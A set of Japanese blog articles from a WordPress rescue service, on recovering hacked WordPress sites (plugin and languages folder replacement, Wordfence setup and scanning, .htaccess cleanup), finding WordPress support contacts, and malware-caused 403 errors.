有料プラグインは、ここが結構見落とされます。
**「復旧しようと思ったら、そもそも正規ZIPが手に入らない」というのは普通にあります。**

### 公式サイトからのダウンロードが安心

独自配布のプラグインは、十分に信頼できる配布元でない限り、私はあまりおすすめしません。
多くの場合、代替プラグインがあります。まずはそちらを探します。

過去には、ライセンス面で微妙な配布物や、プラグイン有効化時に、配布者と思われる外部へ同意なしで通信するようなものも見てきました。
社内利用などで自社配布するケースは別ですが、通常は WordPress公式ディレクトリ経由で配布されるのが一般的です。

### プラグインリストを把握する

プラグイン一覧画面から作ってもよいのですが、復旧ではサイトヘルスの情報タブから拾うと早いです。

**管理画面 ＞ ツール ＞ サイトヘルス ＞ 情報タブ**

ここで次を把握します。

・MUプラグイン
・停止中のプラグイン
・使用中のプラグイン

この一覧が、あとで入れ替えるときの基準になります。
復旧中は「何が入っていたか」がすぐ分からなくなるので、先に控えておいたほうがいいです。

## アクセス権 444 / 555 の確認

ここは、wp-content の復旧に入る前に一度見ます。
444 や 555 のファイル・ディレクトリが混じっていると、削除や入替えを邪魔されることがあるからです。

特に、フォルダが 555 になっている場合、その配下のファイルやディレクトリを通常の操作で消せないことがあります。
実務では、マルウェアが自分を消されにくくするために、こうした権限へ変えているパターンをよく見ます。
かなり強く疑うべき状態です。

このあと出てくる upgrade-temp-backup や plugins、languages が消せない、リネームできない、書き戻せないという場合は、まずここを見ます。
削除できない理由が、単純な操作ミスではなく権限で止められていることがあります。

## 「upgrade/upgrade-temp-backup」フォルダを削除

これらのフォルダは、WordPress更新時に一時的に作成されるディレクトリです。
処理が終われば不要なので、削除して問題ありません。必要になれば、更新時にまた自動生成されます。

ただし、削除できない場合は要注意です。
この場合は、前項で書いた 444 / 555 の権限 や所有者を確認します。
マルウェアが自分を消されにくくするために、ここを固めているケースがあります。

## ここで一旦アクセスを解放します。

このあとは、作業を進めるために一時的にホームページへのアクセス制限を解除します。
制限をかけたままでは、管理画面やプラグインの操作が正常に行えないためです。

### アクセス制限の解除方法（.htaccess）

一時的に設定した503のアクセス制限は、.htaccessの該当部分を無効化することで解除できます。
以下のように、行頭に「#」を付けて無効化します。

```
#ErrorDocument 503 /maintenance.html
#RewriteEngine On
#RewriteCond %{REMOTE_ADDR} !^xxx\.xxx\.xxx\.xxx$
#RewriteCond %{REQUEST_URI} !^/maintenance\.html$
#RewriteRule ^ - [R=503,L]
```

## languagesディレクトリの中身をクリア

/wp-content/languages/ 配下には、WordPress本体・プラグイン・テーマの翻訳ファイルが入ります。
本来は翻訳用途のファイルしかない場所です。

構成は、基本的に次です。

・/wp-content/languages/
・/wp-content/languages/plugins/
・/wp-content/languages/themes/

通常、ここにあるのは次の3種類です。

・.po
・.mo
・.l10n.php

これらは WordPress が自動取得・再生成するため、問題があれば一度クリアして再構築できます。
実務では、このディレクトリにマルウェアが紛れ込んでいるケースがあります。
特に PHPファイルがある場合は要注意です。本来そこに置かれる想定ではありません。

やり方は次です。

・【FTP】wp-content/languages を languages\_myao などにリネームする
 ※個人的には \_backup、\_old、\_back のような名前は避けます。ありきたりすぎて、あとで見分けが付きにくいからです。

・【管理画面】サイト言語をいったん英語にしてから日本語へ戻す
 Settings > General > Site Language
 英語 → 日本語

これで /languages/ が再生成され、必要な翻訳ファイルが入り直します。

・【管理画面】外観 ＞ テーマ ＞ テーマを追加
 任意のテーマを入れると /languages/themes/ が再生成されます。

・【管理画面】プラグインをインストール
 必要に応じて /languages/plugins/ も再生成されます。

## ここでデバッグポイント

ここで一度、もう1回バックアップを取ります。
無料版の UpdraftPlus は、少なくともこの段階ではコア一式を保存する用途ではなく、きれいにした languages や plugins 側を退避する保険として考えています。
ここまで整えたものを一度持っておけるのは大きいです。

復旧に失敗して、またぐちゃぐちゃにされると、結構泣けます。

## プラグインを入れ替える

ここで、最初に絶対にやってはいけないことがあります。

「管理画面でプラグインを無効化して、そのまま削除して、再インストールする」
これは、やり方としてかなり危ないです。

理由は、プラグインによっては、データベース側の設定や保持データまで消えることがあるからです。
復旧どころか、そこからやり直しになることがあります。
なので、別の方法を取ります。というか、ここは本当にやり直しになるときがあります。

やり方は次です。

### pluginsをリネイムして新規作成

・【FTP】wp-content/plugins を plugins\_myao などへリネームする
 ※ここも \_backup、\_old、\_back のような名前は個人的には避けます。

・【FTP】新しく plugins ディレクトリを作成する

この段階で、「インストール済みプラグイン」の画面へ行くと、
「プラグイン ●●● はエラーにより停止しました: プラグインファイルが存在しません。」
のような表示になり、結果的にすべて停止します。
後でリストを見ながら入れ直して有効化すれば問題ありません。

### 管理画面から順番に入れ直します。

1. ・【管理画面】プラグイン ＞ プラグインを追加
2. ・必要なキーワードで検索
3. ・各プラグインをインストール
4. ・「インストール済みプラグイン」で一覧を確認
5. ・表示や動作を確認する

ここは地味ですが、かなり大事です。
**「何を戻したか」「何が戻っていないか」 を見失うと、復旧が一気に雑になります。**この時点でプラグインは揃いました。

## データベース（DB）とUploadsフォルダの検査

### phpMyAdminのリスクを考える。

コアファイルの置換により、ファイル側はある程度きれいになりました。
次に見ていくのが、uploads フォルダとデータベース（MySQL、以下DB）です。ここは、汚染が残っている可能性があります。というより、実務では高確率で残っている前提で見ます。

**DB操作は非常にリスクが高い作業です。
一歩間違えると、サイトが完全に壊れる可能性があります。**

DBはFTPソフトで直接操作することはできず、一般的にはphpMyAdminなどのツールを使ってSQLを発行します。
しかし、操作ミスによって投稿データや設定が破損するケースもあるため、慎重な判断が必要です。
そのため、この記事ではphpMyAdmin で直接クエリを打って復旧する方法は推奨しません。
ここでは、まずプラグインを使って安全寄りに、かつ網羅的にDB内をスキャンする考え方を取ります。

**phpMyAdmin を見ながら AI のチャットで復旧しようとするのは、正直かなり危ないです。
もしデータを修復不能にしたら、目も当てられません。**

なお、弊社の実務では、phpMyAdmin による精密なクエリ発行と、プラグインによる広範囲スキャンを併用する、いわゆるハイブリッド体制で対応しています。
ただ、これは慣れているからできるだけであって、DBを触るときは今でも普通に緊張します。
プロでも緊張します。人間なので。
だから、使い慣れていない方が、本番の復旧で phpMyAdmin を触るのはおすすめしません。復旧ブログや AI を見ながら、その場で SQL を打つのはやめたほうがいいです。

phpMyAdmin では、たった1文字の打ち間違いで、数万件の投稿データや関連情報が一瞬で意味不明な文字列になったり、消えたりします。
バックアップがあるとはいえ、デジタル資産が飛ぶ可能性があるということです。

### Uploadsフォルダも見る

ファイルの復旧がある程度進んでも、/wp-content/uploads/ 配下に不正ファイルが残っていることは普通にあります。
本来ここは、画像、PDF、添付ファイルなどを置く場所です。
なので、PHPファイル、見慣れない .htaccess、意味の分からないサブディレクトリ、ランダムな文字列のファイル名などがある場合はかなり注意です。

特に、画像やPDFに見せかけて、実際には不正コードの起点になっているケースもあります。
ここは「アップロード置き場だから安全」ではありません。普通に見ます。

### この記事の方針

この記事は、バックアップが使える前提で、ファイル入替えと安全寄りの復旧を進める記事です。なので、DBに対していきなり手でクエリを打つようなやり方は主線にしません。

DBの直接調査や SQL ベースの精査は、難易度が一段上です。そこは別記事レベルの話になります。
本記事では、まず 「ファイルをきれいにする」「uploads を確認する」「プラグインでDB側の異常を洗う」 という順番で進めます。

## Wordfence Securityの導入

DB は phpMyAdmin を直接使わない前提で、プラグインの Wordfence Security を導入して対応します。
イメージとしては、WordPress 用のウイルス対策ソフトのようなものです。WAF、マルウェア検知、ログ確認をひとつの画面で見やすく扱えるため、復旧時の確認にも使いやすいです。
GMOインターネットグループのレンタルサーバー・ロリポップでも、WordPress のセキュリティ対策のひとつとして Wordfence が紹介されています。
参考URL: https://lolipop.jp/media/wordpress-guide/
参考URL: https://www.wordfence.com/products/wordfence-free/

### WordPress 管理画面から追加する

【管理画面】→【プラグイン】→【プラグインを追加】→ 検索欄で wordfence と入力します。
一番最初に出てくることが多い Wordfence Security – Firewall, Malware Scan, and Login Security をインストールして有効化します。

無料で使えるが、ライセンス登録は必要 Wordfence は無料版でも使えます。
初回セットアップ時にライセンス登録を求められるので、画面の案内に沿って進めます。

無料ライセンスの取得方法 Wordfence のサイトへ移動し、Get Free Licence をクリックします。
その後、I’m OK waiting 30 days for protection from new threats を選び、メールアドレスを入力して必要項目にチェックを入れ、Register をクリックします。
入力したメールアドレスにライセンスキーが届くので、Wordfence の画面へ戻り、既存のライセンスをインストール から登録します。
参考URL: https://www.wordfence.com/wordfence-free-vs-premium/

無料版の注意点 無料版でもマルウェアスキャンそのものは使えます。
ただし、新しいマルウェアシグネチャ と 新しい WAF ルール の反映は Premium より約30日遅れます。
一方で、全部の基本スキャン機能が30日遅れるわけではありません。
公式比較では、無料版でもマルウェアスキャナや脆弱性スキャナは利用でき、Premium ではリアルタイム反映や追加機能が使えるという整理になっています。
また、無料版では次の3つのチェック機能はロックされており、Premium 限定です。
・ブラックリストチェック
・スパム関連チェック
・IP がスパム送信源かどうかのチェック
つまり、無料版は一部機能が使えず、新しい脅威への対応が30日遅れるという理解が正確です。
参考URL: https://www.wordfence.com/free-wordpress-malware-scanner/
参考URL: https://www.wordfence.com/wordfence-free-vs-premium/

無料版でも使える基本スキャン 無料版でも、次のような基本的な確認は行えます。

- サーバーの状態
- ファイルの変更
- マルウェアスキャン
- コンテンツの安全性
- 公開ファイル
- パスワード強度
- 脆弱性スキャン
- ユーザーとオプションの監査

これらをひっくるめて 全部30日遅延 と書いてしまうと正確ではありません。
遅延の中心は、新しいシグネチャや新しいルールに依存する部分です。
参考URL: [https://www.wordfence.com/free-wordpress-malware-scanner/](https://www.wordfence.com/free-wordpress-malware-scanner/ "https://www.wordfence.com/free-wordpress-malware-scanner/")
参考URL: [https://www.wordfence.com/wordfence-free-vs-premium/](https://www.wordfence.com/wordfence-free-vs-premium/ "https://www.wordfence.com/free-wordpress-malware-scanner/")

## Wordfenceによるマルウェア対策のワードプレスレスキューの推奨設定

ここでは、Wordfence を常時運用の完成形として入れるというより、復旧後の残留確認と再感染の手がかりを拾うために使います。見た目が戻っていても、中身まで戻っているとは限りません。そこを確認します。

まず開く場所
 Wordfence → すべてのオプション を開きます。

自動更新は有効にする 新しいバージョンがリリースされたら、Wordfence を自動的に更新しますか？
ここはチェックを入れておきます。復旧中は、セキュリティプラグイン側の更新漏れを減らしたほうが安全です。
参考URL: https://www.wordfence.com/help/dashboard/options/

**Wordfence が IP を取得する方法** 
Wordfence が IP を取得する方法 は、環境に合わせて確認します。
特に Cloudflare を使っている場合 は、IP の取り方を誤るとアクセス元の判定がずれることがあります。
Cloudflare 利用時は、Wordfence 側の IP 取得設定を確認してください。
参考URL: https://www.wordfence.com/help/dashboard/options/

**一般的なオプションでチェックをいれたい項目**
WordPress のバージョンを隠す 
アップロードディレクトリのコード実行を無効化
***ここで一回 変更を保存 を押します。***

uploads 直下の .htaccess が邪魔をして保存できないことがあります。この設定は、実務では保存時にエラーになることがあります。
**アップロードディレクトリのコード実行を無効化する** がうまく通らないときは、/uploads/ 直下に正しくない .htaccess が残っていることがあります。
不自然な内容であれば、まず退避したうえで削除し、必要な設定を再生成します。
その後にもう一度 変更を保存 を押すと実務上は通ります。

ここは復旧現場でも引っかかりやすいポイントです。

**ブルートフォース保護** 
空白の User-Agent と Referer を使用して POST 要求を送信する IP をブロックする は有効化を検討します。こういう雑なアクセスは、復旧中でも飛んでくることがあります。

基本設定で見ておきたい項目 復旧確認としては、次のような箇所チェックをいれることが、マルウェアをあぶり出す鍵です。

- テーマファイルをリポジトリのバージョンと照合して差分を確認する
- プラグインファイルをリポジトリのバージョンと照合して差分を確認する
- WordPress インストール外のファイルをスキャンする
- 画像やバイナリに見えるファイルの中に、実行可能コードが混ざっていないか確認する

こうした見方は、Wordfence のハッククリーンアップの考え方とも噛み合っています。
参考URL: [https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/](https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/ "https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/")
参考URL: [https://www.wordfence.com/free-wordpress-malware-scanner/](https://www.wordfence.com/free-wordpress-malware-scanner/ "https://www.wordfence.com/free-wordpress-malware-scanner/")

サブディレクトリに WordPress を入れている場合 サブディレクトリなどに WordPress を入れている場合は、スキャン範囲の設定に注意してください。
ルート直下ではない構成なのに広く見すぎると、確認対象がずれることがあります。
ここはサイト構成に合わせて調整します。

変更を保存する 一通り設定したら 「変更を保存 」を押します。

### スキャンをかける

**Wordfence → スキャン → 新しいスキャンを開始する をクリック**
バーが動き出したら、上の小さい文字で出ます。
アクティビティログをメールする / フルログを見る / ログを表示
のうち、ログを表示 を押すと動きが見えます。
ここがきちんと進み出せば、スキャン自体は問題なく走っています。
参考URL: [https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/](https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/ "https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/")

### 結果をみる

発見した結果には、たとえば次のようなものが出ます。

- ・問題は見つかりません
- ・投稿におかしなスクリプトが埋め込まれている
- ・マルウェアと思われるファイルがある
- ・アップデートが必要で、かつ脆弱性が存在している
- ・アップデートはないが、脆弱性が存在している

「マルウェアと思われるファイルがある」は通常は削除となりますが、ここで重要なのは、出てきたものを全部すぐ消すことではありません。
正規ファイルなのか、不正ファイルなのかを見極めながら、問題を1つずつ潰していきます。
ただし、Wordfence の結果は万能ではなく、実務では「全部を精査する」のが現実的でないケースもあります。
参考URL: https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/

### この段階での Wordfence の位置づけ

Wordfence は、これひとつ入れたら全部終わる魔法の道具ではありません。
ただ、復旧後の取りこぼし確認と、残留マルウェアの見える化にはかなり役立ちます。
DB を phpMyAdmin で直接いじらない前提なら、なおさら一度しっかり見ておく価値があります。

### でも 6,400のファイルは全部見れない

結果の数は、実務では全部を精査しきれないことがあります。
Wordfence の結果で .htaccess が大量に出ることは珍しくなく、実務では 6400 件近く出るようなケースもあります。
これを 1つずつ中身まで確認するのは、時間、費用、ユーザー負担を考えると現実的ではありません。
そのため復旧では、.htaccess を細かく追いかけ切るより、一度整理して削除し、必要なものを再作成する 方針を取ることがあります。
特にプラグイン側で自動生成・再生成される .htaccess は、いったん消して整理したほうが早いことがあります。その後、プラグインの有効化・無効化 を行うことで、必要な設定が再作成されるケースは少なくありません。

### uploads以外ではマルウェアは出てきてほしくない

uploadsディレクトリ以外はクリーンアップ済みのため、本来はマルウェアが検出されない状態であることが前提です。もしuploads以外からマルウェアが検出された場合は、クリーンアップが不完全である可能性が高く、再度見直しが必要です。

### 復旧では理想論よりコストと事故防止を優先する

これは、理想と実務、そして私の考えです。
本来は全部確認したいところですが、復旧では時間、費用、ユーザー負担の限界があります。
そのため、確認不能なものを延々と追い続けるより、最悪の事態を避けながら安全側に寄せることを優先します。
ここは実務上の限界値でもあります。

### なぜ .htaccess が大量に生成されるのか

マルウェアは、各ディレクトリごとに .htaccess を自動生成し、その配下にある PHP などの実行挙動を制御しようとすることがあります。
その結果、正規の復旧処理や削除作業をやりにくくしながら、不正な動作だけを残そうとする個体があります。このため、.htaccess が大量にばらまかれている場合は、1件ずつ読むより、全体を整理して安全側で戻す という判断が実務では必要になります。

### 途中でもバックアップを取る

この判断を安全に進めるため、作業前だけでなく、途中段階でもバックアップを取ります。
これは、再作成に失敗した場合や、想定外の不具合が出た場合にすぐ戻せるようにするためです。
復旧では、「進めること」と同じくらい、「いつでも戻せること」が重要です。

## まとめ・復旧は「作業」ではなく「判断」です。

WordPressの乗っ取り復旧は、見た目が正常でも内部に不正コードが残ることがあるため、「治ったように見える状態」を前提に進める必要があります。

基本は、遮断・入替え・確認の3つです。
特に、上書きではなく入替えが重要です。

実務では、.htaccessが大量生成されたり、管理者だけ正常に見えるマルウェアも確認されています。
そのため、すべてを精査するのではなく、構造ごと整理する判断が必要になります。

**難しい場合は無理をせず、専門業者への依頼も検討してください。**

執筆責任・前田美知太郎（CreativeStudio樂・ワードプレスレスキュー代表）

著者プロフィール
WordPressは2007年から実務で扱い始め、当時はMovable Typeが主流の中で運用・構築の経験を積む。 インターネットプロバイダーのインフラエンジニア出身。サーバー・ネットワーク・セキュリティの基礎を現場で習得し、警察へのログ提出やログ整合性の確認など証跡管理の実務経験を有する。
WordPress構築・サーバー設計・マルウェア復旧・セキュリティ対策を中心に実務に従事。現在はAWS・各種VPS環境でのインフラ構築、CloudflareによるCDN・WAF運用、ログ解析や攻撃分析を含む実践的なセキュリティ対応を行っている。
WordPressの障害復旧は1,400件以上の対応実績。 守秘義務契約（NDA）により詳細は公開不可だが、公的機関・教育機関・金融系・観光関連・放送関連のサーバーおよびセキュリティ設計・構築に従事。
個人から上場企業、大学・教育機関、IOC参加団体、制作会社など幅広い領域の改ざん・マルウェア感染復旧に対応。初動対応から復旧までを担当。
近年は悪意あるBOTの挙動データの収集・分析を行い、検知・対策への活用にも取り組む。 独立行政法人情報処理推進機構（IPA）セキュリティプレゼンター、デジタル庁デジタル推進委員としても活動。

**カテゴリー:** ワードプレスのマルウェア復旧事例

---

### [2026年版・ワードプレスの連絡先は一体どこなのか？問い合わせ先や電話番号など](https://wp-r.com/wp-tips/wp-contact-list/)

**Published:** 2月 17, 2025
**Author:** ワードプレスレスキュー

**Excerpt:** WordPressの連絡先をお探しの方へ。公式サポートがない理由やサーバー会社の対応範囲を調査しました。2009年から1,400件以上の復旧に携わった専門チームが、どこに相談しても解決しないトラブルを最短で解消するための判断基準を共有します。

**Content:**

---

目次

[Toggle](#)

- [WordPressの問い合わせに関するよくある質問（FAQ）](#WordPress%E3%81%AE%E5%95%8F%E3%81%84%E5%90%88%E3%82%8F%E3%81%9B%E3%81%AB%E9%96%A2%E3%81%99%E3%82%8B%E3%82%88%E3%81%8F%E3%81%82%E3%82%8B%E8%B3%AA%E5%95%8F%EF%BC%88FAQ%EF%BC%89)
- [注意！選んではいけない「WordPress復旧業者」のチェックリスト](#%E6%B3%A8%E6%84%8F%EF%BC%81%E9%81%B8%E3%82%93%E3%81%A7%E3%81%AF%E3%81%84%E3%81%91%E3%81%AA%E3%81%84%E3%80%8CWordPress%E5%BE%A9%E6%97%A7%E6%A5%AD%E8%80%85%E3%80%8D%E3%81%AE%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF%E3%83%AA%E3%82%B9%E3%83%88)

## WordPressの問い合わせに関するよくある質問（FAQ）

サービス責任者が再度内容を書き直して、最新の情報にしました。

 ![WordPressセキュリティエンジニア 前田美知太郎](https://wp-r.com/wp-content/uploads/2026/08/WordPressSecurityEngineer.jpg)
 本サービスの責任者：CreativeStudio樂・前田美知太郎

WordPressは2007年から実務で扱い、障害復旧は1,400件超。インターネットプロバイダーのインフラエンジニア出身で、警察提出用ログや証跡管理の実務経験を持つ。

WordPressでは個人から上場企業・大学・IOC参加団体まで、初動対応から復旧に対応。インフラ/セキュリティでは、公的機関・教育機関・金融・観光・放送関連の設計・構築に従事。独立行政法人情報処理推進機構（IPA）セキュリティプレゼンター、デジタル庁デジタル推進委員としても活動。

**【この記事の結論】**

> 1. WordPress公式に電話窓口はありません。
> 2. レンタルサーバー会社はプログラム修復を行いません。
> 3. 2026年現在、即日復旧には専門業者への依頼が唯一の手段です。

> 

### Q1. WordPressの公式サポートに電話窓口はありますか？

**A1. 【結論】公式の電話窓口はありません。解決策は『フォーラムで待つ』か『専門業者に頼む』の2択です」** WordPressはボランティアやコミュニティによって開発されている無料ソフトウェアであるため、特定の企業が電話対応を行う仕組みが存在しません。トラブルの際は、公式フォーラムでの質問か、弊社のような専門業者への依頼が必要です。

### Q2. サーバー会社に連絡すれば、WordPressの不具合を直してくれますか？

**A2. 残念ながら、サーバー会社が「サイトの中身」を修理することはありません。**

大手レンタルサーバー各社のサポート規約を調査すると、共通して以下の「おとしどころ」が設定されています。

#### **サポートの限界:**

サーバーの設定操作」は教えますが、「WordPressのプログラム修正（デバッグ）」や「表示崩れの直し方」については「お客様ご自身での対応（サポート外）」と明記されています。

#### 案内される解決策:

技術的な不具合を相談しても、最終的には「バックアップからの復元」や「WordPressの初期化（全消去）」を案内されるのが一般的です。

#### 結論

つまり、サーバー会社はサーバー自体は管理しますが、そこにいれるソフトは個別に管理してくださいというスタンスが一般的です。サーバー会社はインフラ担当で、ソフトの中身はユーザー責任だからです。

### 各レンタルサーバーのポリシー

[ConoHa WING：WordPressの初期化方法](https://support.conoha.jp/wing/faq/application-q/)
 ※不具合時は「初期状態に戻す」ことが案内されています。

[エックスサーバー：WordPressに関するよくある質問](https://www.xserver.ne.jp/support/faq/faq_service_hp_wp.php) 
※プログラムの改変やエラーの特定はサポート外とされています。

[さくらインターネット：WordPressについて](https://help.sakura.ad.jp/purpose/about-wp/)
※アップデートに伴う不具合等はユーザー自身の責任と定義されています。

### Q3. 「WordPressから請求が来た」場合、どこに問い合わせればいいですか？

**A3. 有料版の「WordPress.com」を利用している可能性があります。**

無料で使える「.org」ではなく、月額課金制の「.com」を契約している場合、公式サイトのマイページからチャットやメールでのサポートを受けることが可能です。まずはご自身の契約形態がどちらかを確認しましょう。

### **Q4. どこに連絡しても解決しない場合、どうすればいいですか？**

A4. 私たち「ワードプレスレスキュー」のような、専門の修復・保守業者へご相談ください。

公式窓口やサーバー会社が対応できない「画面の復旧」「マルウェア駆除」「ログインエラー解消」などを、お客様に代わって直接作業し、解決するのが私たちの役割です。**「どこに聞けばいいか分からない」という状態そのものを解決いたします。**

## 注意！選んではいけない「WordPress復旧業者」のチェックリスト

### ⚠️ 注意！避けるべき専門業者のチェックリスト

**「完全先払い制」で返金保証がない**

- 状況の診断もせずに支払いを急かす業者は、直せなかった場合でも返金に応じない、あるいは作業を放置するリスクがあります。

- **電話番号や会社所在地を隠している**、**見つけにくい**
    サイトに「メールフォーム」や「チャット」しか連絡手段がない場合、トラブル発生時に連絡を遮断（ブロック）して逃げられる「音信不通リスク」があります。

- **「今すぐやらないと取り返しがつかない」と不安を煽り、「今だけの限定料金」を提示する**
    データの消失をちらつかせて恐怖心を植え付け、「今この場で決めれば特別に〇〇円」と冷静な判断を奪うのは、悪質なマーケティング手法（緊急性の悪用）の典型です。

- **「事前診断」や「見積もり」のプロセスがない**
    作業に着手してから「思ったより重症だった」と後出しで高額な追加費用を請求し、最終的に数十万円になるケースが多発しています。

- **「格安（数千円〜）」を過度に強調している**
    実際には専門知識のないアルバイトがマニュアル通りに操作しているだけで、根本的な原因解決やセキュリティ対策が行われず、数日後に再発する恐れがあります。

**実績の「客観的な根拠」が示されていない**
「満足度No.1」などの抽象的な言葉だけで、創業年数や具体的な解決事例がないサイトは信頼性に欠けます。特に、抽象的な解決例は信頼にかけます。

[無料相談窓口「当社では、緊急時こそ正確な状況診断を優先し、
強引な即決を迫ることはありません」](https://wp-r.com/wp-sodan/)

**カテゴリー:** ワードプレスTIPS

---

### [WordPressの403エラーはマルウェア感染が原因？確認方法・復旧手順・自己対応の注意点](https://wp-r.com/wp-tips/wp-403-malware/)

**Published:** 3月 3, 2025
**Author:** ワードプレスレスキュー

**Content:**

**WordPressの403エラーは、WAFやアクセス権限の設定だけでなく、マルウェアによる`.htaccess`やファイルの改ざんが原因で発生することがあります。特に、突然wp-adminやwp-login.phpへアクセスできなくなった場合は、設定を変更する前にマルウェア感染の有無を確認する必要があります。**

コンテンツ

[Toggle](#)

- [1. WordPressのwp-adminの403エラーとは？](#1_WordPress%E3%81%AEwp-admin%E3%81%AE403%E3%82%A8%E3%83%A9%E3%83%BC%E3%81%A8%E3%81%AF%EF%BC%9F)
    - [wp-adminやwp-login.phpが403エラーのとき](#wp-admin%E3%82%84wp-loginphp%E3%81%8C403%E3%82%A8%E3%83%A9%E3%83%BC%E3%81%AE%E3%81%A8%E3%81%8D)
    - [すべてのページで403エラーが出ている](#%E3%81%99%E3%81%B9%E3%81%A6%E3%81%AE%E3%83%9A%E3%83%BC%E3%82%B8%E3%81%A7403%E3%82%A8%E3%83%A9%E3%83%BC%E3%81%8C%E5%87%BA%E3%81%A6%E3%81%84%E3%82%8B)
- [2. マルウェア感染による403エラーの兆候](#2_%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E6%84%9F%E6%9F%93%E3%81%AB%E3%82%88%E3%82%8B403%E3%82%A8%E3%83%A9%E3%83%BC%E3%81%AE%E5%85%86%E5%80%99)
- [3. マルウェアによる403エラーの主な原因](#3_%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AB%E3%82%88%E3%82%8B403%E3%82%A8%E3%83%A9%E3%83%BC%E3%81%AE%E4%B8%BB%E3%81%AA%E5%8E%9F%E5%9B%A0)
    - [.htaccessファイルの改ざん](#htaccess%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E6%94%B9%E3%81%96%E3%82%93)
    - [脆弱性のあるプラグインや開発が止まったプラグインが原因の可能性](#%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%AE%E3%81%82%E3%82%8B%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%82%84%E9%96%8B%E7%99%BA%E3%81%8C%E6%AD%A2%E3%81%BE%E3%81%A3%E3%81%9F%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%81%8C%E5%8E%9F%E5%9B%A0%E3%81%AE%E5%8F%AF%E8%83%BD%E6%80%A7)
    - [配布元や保守体制が不明な無料プラグインには注意が必要](#%E9%85%8D%E5%B8%83%E5%85%83%E3%82%84%E4%BF%9D%E5%AE%88%E4%BD%93%E5%88%B6%E3%81%8C%E4%B8%8D%E6%98%8E%E3%81%AA%E7%84%A1%E6%96%99%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%81%AB%E3%81%AF%E6%B3%A8%E6%84%8F%E3%81%8C%E5%BF%85%E8%A6%81)
- [4. 403エラーを解決する方法（マルウェア駆除）](#4_403%E3%82%A8%E3%83%A9%E3%83%BC%E3%82%92%E8%A7%A3%E6%B1%BA%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95%EF%BC%88%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E9%A7%86%E9%99%A4%EF%BC%89)
    - [マルウェアによる403エラーの復旧手順（簡易版）](#%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AB%E3%82%88%E3%82%8B403%E3%82%A8%E3%83%A9%E3%83%BC%E3%81%AE%E5%BE%A9%E6%97%A7%E6%89%8B%E9%A0%86%EF%BC%88%E7%B0%A1%E6%98%93%E7%89%88%EF%BC%89)
    - [マルウェアの自己対応と専門業者への依頼の違い](#%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AE%E8%87%AA%E5%B7%B1%E5%AF%BE%E5%BF%9C%E3%81%A8%E5%B0%82%E9%96%80%E6%A5%AD%E8%80%85%E3%81%B8%E3%81%AE%E4%BE%9D%E9%A0%BC%E3%81%AE%E9%81%95%E3%81%84)
    - [なぜ、自己対応後にマルウェアが再発するのか](#%E3%81%AA%E3%81%9C%E3%80%81%E8%87%AA%E5%B7%B1%E5%AF%BE%E5%BF%9C%E5%BE%8C%E3%81%AB%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%8C%E5%86%8D%E7%99%BA%E3%81%99%E3%82%8B%E3%81%AE%E3%81%8B)
    - [自己対応ではセキュリティープラグインの設定や警告を見落とすことが少なくありません](#%E8%87%AA%E5%B7%B1%E5%AF%BE%E5%BF%9C%E3%81%A7%E3%81%AF%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%BC%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%81%AE%E8%A8%AD%E5%AE%9A%E3%82%84%E8%AD%A6%E5%91%8A%E3%82%92%E8%A6%8B%E8%90%BD%E3%81%A8%E3%81%99%E3%81%93%E3%81%A8%E3%81%8C%E5%B0%91%E3%81%AA%E3%81%8F%E3%81%82%E3%82%8A%E3%81%BE%E3%81%9B%E3%82%93)
- [次のような場合は、自己対応を続ける前にご相談ください。](#%E6%AC%A1%E3%81%AE%E3%82%88%E3%81%86%E3%81%AA%E5%A0%B4%E5%90%88%E3%81%AF%E3%80%81%E8%87%AA%E5%B7%B1%E5%AF%BE%E5%BF%9C%E3%82%92%E7%B6%9A%E3%81%91%E3%82%8B%E5%89%8D%E3%81%AB%E3%81%94%E7%9B%B8%E8%AB%87%E3%81%8F%E3%81%A0%E3%81%95%E3%81%84%E3%80%82)

## 1. WordPressのwp-adminの403エラーとは？

WordPressの「403 Forbidden」エラーは、サイトへのアクセス権が拒否された際に発生します。このエラーは、サーバーの設定ミスやプラグインの問題でも発生しますが、突然wp-adminへアクセスできなくなった場合は、**マルウェアによる乗っ取りやファイル改ざんも確認する必要があります。**

もし突然403エラーが発生し、サイト管理画面（wp-admin）にログインできない、または特定のページが表示されなくなった場合、マルウェア感染を疑う必要があります。

![XSERVER上でワードプレスなどで403エラがでた場面。](https://wp-r.com/wp-content/uploads/2025/03/403.png)### wp-adminやwp-login.phpが403エラーのとき

弊社の復旧経験では、wp-adminやwp-login.phpだけが突然403エラーになる場合、.htaccessの改ざんや不正なアクセス制限の追加によって、管理画面やログインページへのアクセスが遮断されているケースが多く見られます。これらの改ざんは、マルウェア感染によって行われていることがあります。

### すべてのページで403エラーが出ている

マルウェアの可能性もありますが、原因が広がります。

- すべてのページで403エラーが表示される場合は、次の原因が考えられます。
- 料金未払いなどにより、サーバーアカウントが停止されている
- サーバー会社がマルウェアを検知し、アクセスを制限している
- `index.php`がマルウェアによって改ざんされている
- `index.php`が削除されている
